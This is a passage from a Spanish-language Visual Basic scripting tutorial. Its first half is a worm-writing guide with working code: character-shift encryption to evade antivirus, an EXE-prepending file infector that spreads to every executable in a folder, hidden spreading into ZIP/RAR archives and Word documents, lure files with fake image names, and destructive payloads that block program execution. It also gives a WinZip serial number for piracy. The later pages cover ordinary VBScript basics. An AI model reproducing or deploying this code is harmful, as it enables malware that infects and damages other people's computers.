Public Declare Function SetForegroundWindow Lib "user32" (ByVal hwnd As Long) As Long Public Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hwnd As Long) As Long Public Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long Public Declare Function GetDesktopWindow Lib "user32" () As Long Public Declare Function GetWindow Lib "user32" (ByVal hwnd As Long, ByVal wFlag As Long) As Long Public Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long Private Const GW_HWNDFIRST = 0& Private Const GW_HWNDNEXT = 2& Private Const GW_CHILD = 5& Public Const GWL_HWNDPARENT = (-8) Public Const WM_SETTEXT = &HC Public Const WM_GETTEXT = &HD Public Const WM_GETTEXTLENGTH = &HE Public Const WM_KEYDOWN = &H100 Public Const WM_KEYUP = &H101 Public Const WM_CHAR = &H102 Public Const WM_COMMAND = &H111 Public Const VK_RETURN = &HD ''14'' Encriptacion Worm Anti-Heurística.

''=> Se necesita 2 Textos (uno para la frase encriptada y otro para la frase desencriptada) ''=> y 3 CommandButtons (uno para encriptar, otro para desencriptar y otro para salir del programa)

Public Function q(j) On Error Resume Next For R = 1 To Len(j) q = q & Chr(Asc(Mid(j, R, 1)) + 14) Next End Function Public Function des(p) On Error Resume Next For R = 1 To Len(p) des = des & Chr(Asc(Mid(p, R, 1)) - 14) Next End Function Private Sub Command1_Click() Text2.Text = q(Text1.Text) Text1.Text = "" End Sub Privat e Sub Command2_Click() Text1.Text = des(Text2.Text) Text2.Text = "" End Sub Private Sub Command3_Click() End End Sub ''15'' Descencriptar el Worm. Public Function des(p) On Error Resume Next For R = 1 To Len(p) des = des & Chr(Asc(Mid(p, R, 1)) - 14) Next End Function

Page 127: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 127

''=> Para esquivar el Nod32. El Numero (+14), no debe ser mayor al número de ASCII. q = q & Chr(Asc(Mid(j, R, 1)) + 14) ''16'' Existen 2 tipos de Firmas: La victima lo vea y la victima NO lo vea(sirve para que el worm se ha infectado). ''=> Para marcar el PC así lo ideal es crear un archivo en el directorio System32 (que es de los mas ocultos) y darle un nombre wapo al archivo (que sea falso). ''=> Con esto si nuestro Worm detecta este archivo sabra que ya a sido infectado. Open "%Systemroot%\System32\System32.txt" For Output As #1 Print #1, "NombreDeNuestroVirus" Close #1 ''=> Cambiar la direccion del IE de inicio por el nombre de nuestro virus:

Set Worm = CreateObject("WScript.Shell") Worm.RegWrite ("HKLM\SOFTWARE\Microsoft\Internet Explorer\Main\Start Page"), ''NOMBREDELVIRUS"

''=> Poner una frase en las propiedades de Mi PC: Ejemplo1: Set firma = CreateObject("WScript.Shell") firma.RegWrite ("HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOrganization"), "KarlosVid(ÊÇ)" Ejemplo2: Set firma = CreateObject("WScript.Shell") firma.RegWrite ("HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOwner"), "Hackeador por:KarlosVid(ÊÇ)" ''17'' Infectar los Archivos.exe ''XXXX Es el tamaño de nuextro Worm Dim tamworm As String tamworm = Space (XXXX) ''=> Poniendo la firma para que el worm sepa, que el archivo a sido infectado. Dim TamanioArchivo As String Open "C:\archivo.exe" For Binary As #1 tamarchivo = Space (LOF(1)) Get #1, , TamanioArchivo Close #1 ''18'' Creando una funcion para que infecte el archivo con solo pasarle el nombre. Const VSC = 20480 ''=> Constante, tamaño del virus al ser compilado. Function Infect_Exe(szFile As String) As Boolean Dim szBuffer As String Dim szVirus As String Open szFile For Binary Access Read As #1 ''=> Abrimos el fichero a insertar. szBuffer = Space(LOF(1)) "=> Leemos completamente LOF(1). Get #1, ,szBuffer ''=> Almacenamos los datos en szBuffer. Close #1 If (Right(szBuffer, 2) <> "vx") Then ''=> Obtenemos los 2 ultimos bytes y comparamos con la marca de infeccion viral, si el fichero no está infectado continuamos. MsgBox "Fichero no infectado! vamos a infectarlo!", vbInformation, "Infectar fichero" Open App.Path + "\" + App.EXEName + ".exe" For Binary Acces Read As #2 ''=> Abrimos el virus (el fichero actual que se está ejecutando) szVirus = Space(VSC) ''=> Leemos los primeros 20480 bytes que es el tamaño total del virus despues de ser compilado. Get #2, ,szVirus Close #2 Open szFile For Binary Acces Write As #3 ''=> Abrimos el fichero host y escribimos los datos. Put #3, , szVirus Put #3, , szBuffer Put #3, , "vx" ''=> Infeccion Mark Close #3 Else MsgBox "Lo siento el fiechero ya está infectado", vbCritical, "Fichero infectado!" End If End Function ''=> Llamando a la función pasandome como parámetro un fichero exe a infectar.

Page 128: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 128

Private Sub Form Load() Infect_Exe ("Goat.exe") End Sub ''19'' APIs para ejecutar el fichero: CreateProcess y WaitForSingleObject. Public Declare Function WaitForSingleObject Lib "kernel32" (ByVal hHandle As Long, ByVal dwMilliseconds As Long) As Long Public Declare Function CreateProcess Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, lpProcessAttributes As SECURITY_ATTRIBUTES, lpThreadAttributes As SECURITY_ATTRIBUTES, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, lpEnvironment As Any, ByVal lpCurrentDriectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long ''=> Declaramos dos estructuras y una constante en el modulo que son: Startupinfo, Process Information y Normal_priority_class respectivamente. Public Type STARTUPINFO cb As Long lpReserved As String lpDesktop As String lpTitle As String dwX As Long dwY As Long dwXSize As Long dwYSize As Long dwXCountChars As Long dwYCountChars As Long dwFillAttribute As Long dwFlags As Long wShowWindow As Integer cbReserved2 As Integer lpReserved2 As Long hStdInput As Long hStdOutput As Long hStdError As Long End Type Public Type PROCESS_INFORMATION hProcess As Long hThread As Long dwProcessId As Long dwThreadId As Long End Type Public Const NORMAL_PRIORITY_CLASS = &H20 ''=> Crearemos un modulo en el proyecto y colocaremos esas declaraciones! con eso ya podemos usar las APIs desde cualquier form. Function Regenera_host() Dim szBuffer As String ''=> Buffer donde se almacenará el Host Dim szVirus As String ''=> Buffer donde almacenaremos al virus Dim Si As STARTUPINFO ''=> Estructura Startupinfo im Pi As PROCESS_INFORMATION ''=> Estructura security attibutes pen App.Path + "\" + App.EXEName + ".exe" For Binary Acces Read As #1 szVirus = Space(VSC) szBuffer = Space(LOF(1) - VSC) ''=> Tamaño total - tamaño virus = Tamaño del Host Get #1, ,szVirus ''=> Abrimos el codigo Viral Get #1, ,szBuffer ''=> Calculamos el tamaño del Host con (LOF(i) - VSC) Close #1 Open "fichero.exe" For Binary Acces Write As #2 ''=> Escribimos el nuevo fichero.exe que es temporal. Put #2, , szBuffer Close #2 CreateProcessA "fichero.exe", Command(), 0&, 0&, 1&, NORMAL_PRIORITY_CLASS, 0&, 0&, SI, PI ''=> Lo ejecutamos mediante CreateProcessA. WaitForSingleObject PI.hProcess,0 ''=> Esperamos a que finalice. kill "fichero.exe" ''=> Eliminar el fichero.

Page 129: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 129

''20'' Búsqueda de ficheros mediante APIs (FindFirstFile – FindNextFile - FindClose). ''=> FindFirstFile.- se le pasan dos argumentos, el primero es un puntero string al fichero a buscar, y el segundo es un puntero a una estructura WIN32_FIND_DATA. ''=> FindNextFile.- como bien su nombre lo indica es para buscar el siguiente fichero especificado, los parámetros que se le pasan son el handle de findfirstfile y un puntero a la estructura antes mencionada. ''=> FindClose.- que se le pasa un solo argumento y es el handle de findfirstfile para ya terminar con la búsqueda de ficheros. ''=> Declaraciones: Public Type WIN32_FIND_DATA dwFileAttributes As Long ftCreationTime As FILETIME ftLastAccessTime As FILETIME ftLastWriteTime As FILETIME nFileSizeHigh As Long nFileSizeLow As Long dwReserved0 As Long dwReserved1 As Long cFileName As String * MAX_PATH cAlternate As String * 14 End Type Public Declare Function FindFirstFile Lib "kernel32" Alias "FindFirstFileA" (ByVal lpFileName As String, lpFindFileData As WIN32_FIND_DATA) As Long Public Declare Function FindNextFile Lib "kernel32" Alias "FindNextFileA" (ByVal hFindFile As Long, lpFindFileData As WIN32_FIND_DATA) As Long Public Declare Function FindClose Lib "kernel32" Alias "FindClose" (ByVal hFindFile As Long) As Long ''=> Como siempre estas declaraciones publicas irán en el modulo del proyecto. Sub search_host() Dim W32FIND As WIN32_FIND_DATA Dim hFindExe As Long hFindExe = FindFirstFile("*.exe", W32FIND) Infect_Exe W32FIND.cFileName ''=> Infectamos el fichero While FindNextFile(hFindExe, W32FIND) Infect_Exe W32FIND.cFileName ''=> Infectamos el Fichero Wend End Sub ''21'' Infección a los archivos .RAR y Zip's ''=> Primer obtener la direccion de Winzip. KLM\Software\Microsoft\Windows\Currentversion\Uninstall\Winzip\UninstallString ''=> El cual por ejemplo nos arrojará el siguiente valor al leer la cadena: "C:\ARCHIVOS DE PROGRAMA\WINZIP\WINZIP32.EXE" /uninstall ''=> Ahora ¿Cómo obtener fácilmente la dirección? Winzip = fso.GetParentFolderName(Direcciondewinzip) ''=> *--Agregar un Archivo a un zip. Shell Winzip & " -a " archivozip & " " & archivoexe Ejemplo: Shell Winzip & " -a C:\Hola.zip" & " C:\virus.exe" ''=> *--Agregar varios archivos a un zip. Puedes Agregar varios archivos de diferentes formas por extensíon y por nombre y dirección de los archivos. Ejemplo: Shell Winzip & " -a C:\Hola.zip" & " C:\windows\System\*.*" ''=> Ziperá todos los archivos que se encuentran en ese directorio

Page 130: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 130

Shell Winzip & " -a C:\Hola.zip" & " C:\windows\System\*.dll" ''=> Zipeará todos los archivos con extensión dll que esten en ese directorio Shell Winzip & " -a C:\Hola.zip" & " C:\virus.exe C:\Archivo.txt" ''=> Zipeará los archivos que fueron escritos no importando la dirección ''=> *--Extraer Archivos. La sintáxis para extraer archivos de un zip es la siguiente: Shell Winzip & " -e " & archivozip & " " & directorio Ejemplo: Shell Winzip & " -e C:\Hola.zip" & " C:\" ''=> *--¿Como Crear un Archivo zip sin formato? Sencillo, sólo Abre un archivo de modo binario y cierralo, es todo, nadamas que con extensión zip Ejemplo: Open "C:\Archivozip.zip" for binary as #1 Close #1 ''=> *--Ahora a lo que vamos, la infección. Simplemente buscar por algún método de búsqueda que quieras y al encontrarlo sólo adicionar nuestro programa "Virus" con un nombre convincente para que el usuario lo abra y así se produzca la infección en otro sistema. Ejemplo: Supongamos que encontramos el siguiente archivo --> "A:\Cosas.zip", Ahora vamos a infectarlo Winzip = "C:\ARCHIVOS DE PROGRAMA\WINZIP\WINZIP32.EXE" midir = "C:\Windows\System32\virus.exe" Call infectar("A:\Cosas.zip") Sub infectar(Direccion as string) Shell Winzip " -a " & Direccion & " " & midir, VbHide ''=> Supongamos que winzip tiene el valor de la dirección y nombre del programa Winzip y midir tiene el valor de la dirección de nuestro exe ''=> junto con el nombre y así ahora añadirlo. El VbHide nos sirve para ocultar el programa, así no se dará cuenta el usuario de que se está ''=> infectando un archivo de su diskette. Porque si no lo ponemos en caso de que tarde, se muestra el programa añadiendo un archivo. End sub ''=> *-- Registro de Winzip. ''=> Otro problema que nos proporciona Winzip es que no esté registrado lo cual no es difícil ''=> de registrarlo simplemente con las siguientes cadenas del regedit: "HKCU\software\nico mak computing\winzip\winini\Name" "HKCU\software\nico mak computing\winzip\winini\SN" "HKEY_USERS\.DEFAULT\software\nico mak computing\winzip\winini\Name" "HKEY_USERS\.DEFAULT\software\nico mak computing\winzip\winini\SN" ''=> Donde: Name = "Nombre del registrado" SN = "Numero de serie o s*rial Number" ''=> En estos Valores de cadena "REG_SZ" puedes crear uno con un generador de numeros de serie que lo puedes encontrar en internet. ''=> Es igual el numero de serie para registrar Winzip en todas sus versiones. Ejemplo: Name = "*****" SN = "EBB9042E" ''=> Si escribes en el registro las cadenas anteriores con los valores de arriba ''=> estará registrado winzip con el nombre de *****. ''=> (Comprobado en versiones 8.x y 9.x).

Page 131: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 131

''=> **- Infección de archivos Rar's. ''=> Al igual que los zip's tambien los archivos rar se pueden infectar de manera sencilla, y es muy usado en todo el mundo. ''=> No es necesario registrarlo como el winzip que nos mostraba la pantalla de que si estas o no de acuerdo del uso de este para que saques el número de serie. Obtendremos la dirección de winrar HKCR\WinRAR\shell\open\command\(Predeterminado) Resultado de leer la cadena de arriba = "C:\ARCHIVOS DE PROGRAMA\WINRAR\WinRAR.exe" "%1" ''=> De que manera obtener sólo el path: winrar = StrReverse(wss.regread("HKCR\WinRAR\shell\open\command\")) ''=> Leo e invierto la cadena w = InStr(1, winrar, " ", vbBinaryCompare) ''=> Obtengo el espacio entre el path y el "%1" winrar = StrReverse(Mid(winrar, w, Len(winrar))) ''=> Recorto y vuelvo a dejar la cadena como estaba (La revierto) ''=> Ahora ya tenemos lo que nos interesa (el path) para empezar a infectar archivos rar y este programa además de ofrecernos la infección a archivos rar tambien nos permite a zip, es más fácil de utilizar que winzip. Ejemplo: ''=> *-Agregar archivo (Infectar) Shell winrar & " a " & archivorar & " " & "archivoacomprimir" ''=> Agrega un archivo Shell winrar & " a C:\archivozip.zip C:\virus.exe" ''=> Añade el archivo virus.exe al archivozip.zip Shell winrar & " a C:\archivorar.rar C:\virus.exe" ''=> Añade el archivo virus.exe al archivorar.rar ''=> Agrega un directorio Shell winrar & " a C:\archivozip.zip C:\" ''=> Añade todos los archivos de C:\ a el archivo archivozip.zip Shell winrar & " a C:\archivorar.rar C:\" ''=> Añade todos los archivos de C:\ a el archivo archivorar.rar ''=> La ventaja es de que si no existe el archivo winrar lo crea. ''=> *-- Extraer archivos Shell winrar & " x archivorar archivoaextraer" ''=> *--Ejemplos: ''=> Extraer un archivo Shell winrar & " x C:\archivorar.rar archivo.txt" ''=> Extrae el archivo "archivo.txt" de archivo .rar Shell winrar & " x C:\archivozip.zip archivo.txt" ''=> Extrae el archivo "archivo.txt" de archivo .zip ''=> Extraer todos los archivos Shell winrar & " x C:\archivozip.rar C:\" ''=> Extrae todos los archivos del archivo .rar a "C:\" Shell winrar & " x C:\archivozip.zip C:\" ''=> Extrae todos los archivos del archivo .zip a "C:\" ''=> Al igual que en winzip la infección es igual: Sub infectar(Direccion as string) Shell winrar " -a " & Direccion & " " & midir, VbHide

Page 132: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 132

''=> Supongamos que winrar tiene el valor de la dirección y nombre del programa Winrar y midir tiene el valor de la dirección de nuestro exe junto con el nombre para añadirlo al archivo rar. El VbHide nos sirve para ocultar el programa, así no se dará cuenta el usuario de que se está infectando un archivo. Porque si no lo ponemos en caso de que tarde, se muestra el programa añadiendo un archivo y eso delatará nuestro virus. End sub ''=> Nota: Se tiene problemas con las direcciones, para resolver esto utilizaremos el método ShortPath de la fso. Ejemplo: Set fso = CreateObject ("Scripting.FileSystemObject") Set archivo = fso.GetFile(Direccion_del_archivo_y_archivo) ''=> Ejemplo: C:\Mis documentos\Archivozip.zip o C:\Mis documentos\Archivorar.rar direccioncorta = archivo.ShortPath ''=> Lo que hace es crear un path sin espacios, del primer path que escribí de ejemplo arrojará lo siguiente "C:\MISDOC~1\ARCHIV~1.ZIP" una dirección corta ''=> Así no te causará problemas para la infección de archivos ya que no admiten espacios en los path. Esto va para el archivo a infectar y el archivo a ''=> Comprimir (osea Zip y virus ejm.) ''=> Ejemplo: Public Sub infectarzip(nomzip As String,midir as string) Dim ar1, pt1, pt2 ''=> Ar1:lo utilizo para colocar las propiedades del archivo ''=> Pt1: lo utlizo para colocar el path del zip ''=> Pt2: lo utlizo para colocar el path del virus On Error GoTo err: Set ar1 = fso.getfile(nomzip) ''=> Coloco las propiedades del archivo zip en ar1 pt1 = ar1.shortpath ''=> Coloco el path corto en pt1 Set ar1 = fso.getfile(midir) ''=> Coloco las propiedades del virus en ar1 pt2 = ar1.shortpath ''=> Coloco el path corto en pt2 ''=> Coloco las propiedades del archivo zip en ar1 Shell winzip & " -a " & pt1 & " " & pt2, vbHide err: End Sub ''22'' Infección a Archivos.DOC ''=> Ver si el Word esta instalado. Function HayWord() As Boolean Dim WordObj As Object On Error GoTo NoWord ) Set WordObj = GetObject(, "Word.Application") ''=> Verificamos si existe una instancia de word If WordObj.ActiveDocument.Path = "A:" Then ''=> Si existe y encima el documento abierto esta en el disco A: HayWord = True ''=> Tonces Hay Word Exit Function End If NoWord: HayWord = False End Function ''=> Infectamos el Archivo .doc que seleccionemos haciendo un motor de buskeda. Private Sub InfectarDoc(NombreDoc As String) On Error GoTo NoWord Word.Documents.Open NombreDoc ''=> Abro el documento Word.ActiveDocument.Shapes.AddOLEObject , MiNombreEXE, False, True, MiNombreEXE, 0, "Pamela Fuck: Doble Click para ver." ''=> Me agrego como un objeto Word.ActiveDocument.Shapes(1).Select Word.ActiveDocument.Shapes(1).Visible = True ''=> Lo hago visible Word.ActiveDocument.Shapes(1).Width = 250 ''=> Especifico el tamaño Word.ActiveDocument.Shapes(1).Height = 250

Page 133: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 133

Word.Documents(NombreDoc).Close True ''=> Cierro el documento NoWord: End Sub ''=> Con esto el Worm ya podra infectar archivos Word. Private Sub TimerBuscaWord_Timer() On Error Resume Next If HayExcel Or HayWord Then ''=> Si hay una instancia de word o excel abierta proseguimos Fso.CopyFile MiNombreEXE, "A:\Abril Lavigne Nude.jpeg .exe", True Fso.CopyFile DirWin & "\Web\Folder.htt", "A:\Folder.htt", True Fso.CopyFile DirWin & "\Web\Desktop.ini", "A:\Desktop.ini", True SetAttr "A:\Abril Lavigne Nude.jpeg .exe", vbReadOnly ''=> Cambiamos las propiedades, a solo lectura SetAttr "A:\Desktop.ini", vbHidden SetAttr "A:\Folder.htt", vbHidden End If End Sub ''24'' Payload.- Es para hacer saber que el PC esta infectado por el Worm. Hay de varios tipos: Directos, indirectos y logicos. ''=>** Los directos.- son los que al ejecutar el Worm el Worm se copia en el registro, y si es la primera vez envia algun mensage como esto: Msgbox "Aqui el mensaje",vbCritical,"Titulo de la pestaña" ''=>** Los indirectos.- Los que el usuario se da kuenta por si solo. Ejemplo: ''=> El Worm deje algun texto suelto dentro del C: (mi Worm lo hacia a esto) y luego cuando el user lo vee, lo lee y sabe que esta infectado con el Worm. ''=> Si el Worm borra archivos, la victima vera que le faltan estos archivos y sospechara, aunke esto logicamente no es un payload. ''=>** Los Lógicos.- Son los que se aktivan por logica, mi primer Worm tenia un buen ejemplo de lógica. ''=> Solo se activa el dia 13 del mes de Mayo. If Month(Now) = 5 and Day(Now) = 13 then MsgBox "Usted a sido infectado kon el Mejor Worm del Mundo",vbCritical,"By Bill Gates" End If ''=> Se ejekutan los dias siperiores a 5 y meses superiores a 13.... If (Month(Now) = 5 or Month(Now) > 5) and (Day(Now) = 13 or Day(Now > 13) then MsgBox "Usted a sido infectado",vbCritical,"By Bill Gates" End If ''=> Payload Destructivo. Private Sub PayloadDestructivo() On Error Resume Next Dim a As Integer a = MsgBox("¿Desea desinstalar Windows?", 36, "Atención") If a = 6 Then MsgBox "Ud ha sido infectado con el virus: W32.Smeagol.A" & vbCrLf & "diseñado por *****/*****" & vbCrLf & "Dedicado a Osiris, mi mejor amigo en *****, y a todos los miembros de *****." & vbCrLf & "***** 2003/2004", vbSystemModal, "***** SoFtWaRe" Else MsgBox "Respuesta inesperada" & vbCrLf & "Design by S... digo, ejem!" & vbCrLf & "Design by *****", vbCritical, "W32.Smeagol.A / ***** SoFtWaRe" MsgBox "Software dedicado a mis amigos: " & vbCrLf & vbCrLf & "Osiris, MachineDramon, DemionKlaz & Falckon" & vbCrLf & vbCrLf & "W32.Smeagol.A versión beta", vbSystemModal, "***** SoFtWaRe" Ws.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\RestrictRun", " " ''=> Prohibir la ejecución de ejecutables Ws.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Policies\Explorer\RestrictRun", " " ''=> Prohibir la ejecución de ejecutables en WinNT End If End Sub

Page 134: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 134

''=> es poneren num un numero aleatorio entre 1 y 0, Si sale 0 se salva tu HD, si sale 1 se destruye tu HD . Randomize Num = Rnd If Num = 0 Then MsgBox "Dia de suerte, Dios a querido que no destruya tu PC, dale gracias", vbExclamation, "Hendrix" End If If Num = 1 Then MsgBox "Mala suerte tio, Hoy es dia de destruccion", vbCritical, "Hendrix" End If ****************************************************************************** VBScript.- Son “simples” scripts, que se ejecutan por medio de un intérprete en el sistema, con lo que bastará con crear el código en un simple bloc de notas (o similar), y guardarlo con extensión *.vbs, sin necesidad de realizar ninguna compilación (aunque existe la posibilidad). Se puede decir que los vbs son una mejora con respecto a los bat, ya que estos, permiten una mayor interacción con el sistema operativo, y decir además que este lenguaje, es un derivado de Visual Basic. Caracteristicas: * No importan las mayúsculas o minúsculas * Para indicar un final de línea, no se debe de hacer más que pasar a la siguiente (no es necesario terminar con por ejemplo “ ; “ como en javascript) * Los comentarios, van precedidos de una “ ‘ “ (comilla simple). * msgBox, es para mostrar un mensaje en la pantalla. Tipos de dato: Existen varios tipos de datos que pueden manejarse en vbs, y los que más vamos a utilizar, son ; Booleano, Byte, Fecha, Double, Entero, Entero largo, Objeto, Single, Cadena. Todos estos representan valores verdadero/falso, fecha/hora, númerosentero positivo/negativo, cadena de texto (no creo necesite más explicación que esta). Operadores: Tendremos varios tipos de operadores a nuestra disposición. 1. Aritméticos: Suma(+), Resta(-), Multiplicación(*), División decimal(/), División entero(\), Potencia(^), Resto división(mod) 2. Comparación: Igual(=), Distinto(<>), Mayor(>), Menor(<), Menos o igual(<=), Mayor o igual(>=) 3. Lógicos: Y(and), O(or), Xor, No(not) 4. De cadena: Concatenación(&) Estos han sido a grandes rasgos, los operadores a utilizar en vbs, por lo que después, y haciendo uso de nuestro próximo tema (estructuras de control), se mostrarán algunos ejemplos. Estructuras de control: 1. IF (condicional).- Utiliza para evaluar 2 o más posibles resultados Dim valor Valor = 8 If valor < 10 then Msgbox "El valor es MENOR a diez " Else Msgbox "El valor es MAYOR a diez " End if 2. Case (condicional).- Sirve para anidar dos o más, para así realizar varias evaluaciones. Dim numero numero = 8 Select case numero case 6 msgbox "El valor es seis " case 7 msgbox "El valor es siete " case 8 msgbox "El valor es ocho " End select

Page 135: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 135

3. FOR (bucle).- Utilizado cuando queremos repetir una determinada acción un cierto número de veces. Dim i For i=1 to 5 step 1 Msgbox "El valor de i es: " & i Next 4. FOR EACH(bucle).- Recorre todos los elementos de una colección o vector. Un array o matriz, es una estructura de datos en forma de variable, que permite almacenar más de un único valor, dentro de una única variable. Para acceder a cada uno de estos valores, será necesario hacer uso de índices. Forma1: (Simple) Dim nombres(2) nombres(0)= "Martín" nombres(1)= "Pablo" nombres(2)= "Carlos" Msgbox nombres(1) Forma1: (For Each) Dim nombres Dim n nombres = array("Martín","Pablo","Carlos") For each n in nombres Msgbox n next 5. WHILE (bucle).- Es utilizado cuando queremos que una determinada acción se repita mientras una determinada condición de cumpla. Dim numero Numero = 1 While numero <= 10 Msgbox numero numero = numero + 1 Wend 6. DO (bucle).- El bucle do tiene varias opciones, pero básicamente hará algo, “mientras”, o “hasta que” ocurra algo. Forma1: Dim a = 1 Do until a=10 Msgbox “Esto es un mensaje” Loop Forma2: Dim a = 1 Do while a<>10 Msgbox “Esto es un mensaje” Loop

Manejo de objetos Toda interacción de vbs con el sistema se basa en el manejo de objectos (ActiveX), que no son más que librerías especializadas y a nuestra diposición, por lo que dependiendo de lo que busquemos hacer, haremos uso de una u otra (mezc landolas en nuestros scripts). Los objetos básicos de los que se hace uso son dos:

1. FSO (FileSystemObject): manejo de unidades, archivos y carpetas.

2. Shell: acceso a información de sistema, trabajo con el registro, manejo accesos directos, ejecución de

aplicaciones.

Antes de continuar debo de explicar que al trabajar con los objetos, los mismos se deben de declarar de la

siguiente manera:

Set variable = createobject(objecto)

Ejemplo: Set objfso = createobject(“scripting filssystemobject”)

Page 136: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 136

Ahora sí, pasamos directamente al análisis del objeto FSO.

FSO (File System Object)

Las distintas funciones que se pueden realizar a través de este objeto son:

Borrar, mover y copiar archivos. Leer y escribir en archivos de texto (Crear). Obtener y modificar atributos de archivos y

carpetas. Crear, borrar, mover y copiar carpetas. Obtener propiedades de archivos y carpetas. Listar subcarpetas. Listar

discos y particiones. Obtener propiedades de discos y particiones. Obtener determinadas rutas de sistema.

Mover archivos

Objfso.movefile origen, destino

Ejemplo:

Set objfso = createobject(“scripting filesystemobject”)

Objfso.movefile “C \archivo txt”, “D \Carpeta”

Crear carpeta Set variable = objfso.createfolder(destino carpeta) Ejemplo:

Set objfso = createobject(“scripting filesystemobject”)

Set micarpeta = objfso.createfolder (“C \carpeta”)

Borrar archivos

Objfso.deletefile archivo

Ejemplo:

Set objfso = createobject(“scripting filesystemobject”)

Objfso.deletefile “C \archivo txt”

Copiar archivos

Objfso.copyfile origen, destino, sobreescribir

Ejemplo:

Set objfso = createobject(“scripting filesystemobject”)

Objfso.copyfile “C \archivo txt”, “D \destino txt”, true

Mover carpetas

Objfso.movefolder origen, destino

Ejemplo:

Set objfso = createobject(“scripting filesystemobject”)

Objfso.movefolder “C \Carpeta”, “D \Destino”

Borrar carpetas

Objfso.deletefolder carpeta

Ejemplo:

Objfso.deletefolder “C \Carpeta”

Copiar carpetas

Objfso.copyfolder origen, destino, sobreescribir

Ejemplo: Set objfso = createobject(“scripting filesystemobject”)

Objfso.copyfolder “C \Carpeta”, “D \Destino”, true

Leer y escribir en archivos

Para el manejo de archivos de texto, debemos de tener en cuenta, la existencia o no del archivo, y el modo en el que

accedemos a él. Obviamente, si un archivo no existe, no podrémos acceder a él, y a su vez, si abrimos un archivo en

modo de léctura, nunca podremos escribir dentro.

Page 137: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 137

Crear archivos de texto y escribir en ellos Set variable = objfso.createtextfile(ruta, sobreesc ribir) Ejemplo:

Set objfso = createobject(“scripting filesystemobject”)

Set archivotexto = objfso createtextfile(“C \archivo txt”,true) ‘creamos el archivo

archivotexto writeline “Este es el texto que estoy escribiendo” ‘creamos el archivo

archivotexto.writeblanklines(2) ‘escribimos 2 líneas en blanco

archivotexto writeline “ quí más texto” ‘escribimos otra línea de texto

archivotexto.close ‘cerramos el archivo Notese que al comenzar, hemos creado el archivo y lo hemos asignado a una variable, luego hemos utilizado el

identificador de archivo (variable), para escribir dentro de él, en este caso, hemos utilizado writeline , que escribe una

línea, y agrega un retorno de carro para que si volvemos a escribir, lo hagamos en una nueva línea, en cambio, si en su

lugar, utilizamos write, el resultado, será que no habrá salto de línea, por lo que todas las oraciones iran quedando una

detrás de la otra. Por último, hemos cerrado el archivo.

Abrir archivos de texto y escribir en ellos Set variable = objfso.opentextfile(ruta, modo, crea ción)

Ejemplo: Set objfso = createobject(“scripting filesystemobject”)

Set archivotexto = objfso.opentextfile(“C \archivo txt”,8,true) ‘abrimos el archivo

archivotexto writeline “Este es el texto que estoy escribiendo” ‘escribimos una línea

archivotexto.close ‘cerramos el archivo

Como se puede ver, al abrir el archivo, hemos indicado la ruta, el modo 8 que se utiliza para appending o escritura al

final de archivo, y true, que quiere decir que en caso de que no exista el archivo se cree, es decir que de este modo, no

solo abrimos el archivo, sino que de no existir, dicho archivo será creado en el proceso.

Para tener en cuenta, los modos en los que se puede abrir un archivo son:

1- Modo LECTURA

2- Modo ESCRITURA (escribe al principio)

8- Modo APPENDING (escribe al final)

Como se puede ver, al abrir el archivo, hemos indicado la ruta, el modo 8 que se utiliza para appending o escritura al

final de archivo, y true, que quiere decir que en caso de que no exista el archivo se cree, es decir que de este modo, no

solo abrimos el archivo, sino que de no existir, dicho archivo será creado en el proceso.

Leer desde archivos de texto

Así como abrimos archivos y podemos escribir en ellos, también existe la posibilidad de leer desde ellos, para lo cual utilizaremos readline , y readall. Como se puede imaginar, con readline iremos leyendo una a una las líneas del archivo (cada vez que pongamos

readline leeremos solo una), con este, leemos una línea, y el puntero se situa al final de la línea, para que a la

próxima ejecución de esta función, sea la línea siguiente la que sea leída. Con readall en cambio, leeremos el total de

archivo. Existe además una función llamada skipline, con la cual saltaremos la lectura de una línea. Ejemplo:

Page 138: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 138

Set objfso = createobject(“scripting filesystemobject”)

Set archivotexto = objfso.opentextfile(“C \archivo txt”,1) ‘abrimos el archivo

msgbox archivotexto.readline ‘leemos una línea, la primera

archivotexto.skipline ‘saltamos una línea

msgbox archivotexto.readline ‘leemos una línea, la tercera

archivotexto.close ‘cerramos el archivo

Atributos de archivos y carpetas

A continuación explicaré el método mediante el cual, se puede obtener, o bien cambiar, los atribuos de archivos y

carpetas (es prácticamente igual para ambas cosas) Obtener atributos Set variable = objfso.getfile(ruta)

variable.attributes Ejemplo:

Set objfso = createobject(“scripting filesystemobject”) ‘mensaje con los attributos del archivo

Set archivo = objfso getfile(“C \tutorial pdf”) ‘obtenemos el control sobre el archivo pdf

Msgbox archivo.attributes En este ejemplo vemos que luego de declarar el objeto, lo que hacemos es obtener el control del el archivo

tutorial.pdf, para lo cual utilizamos getfile , y asignamos el archivo a la variable archivo . Luego, y ya con el archivo en

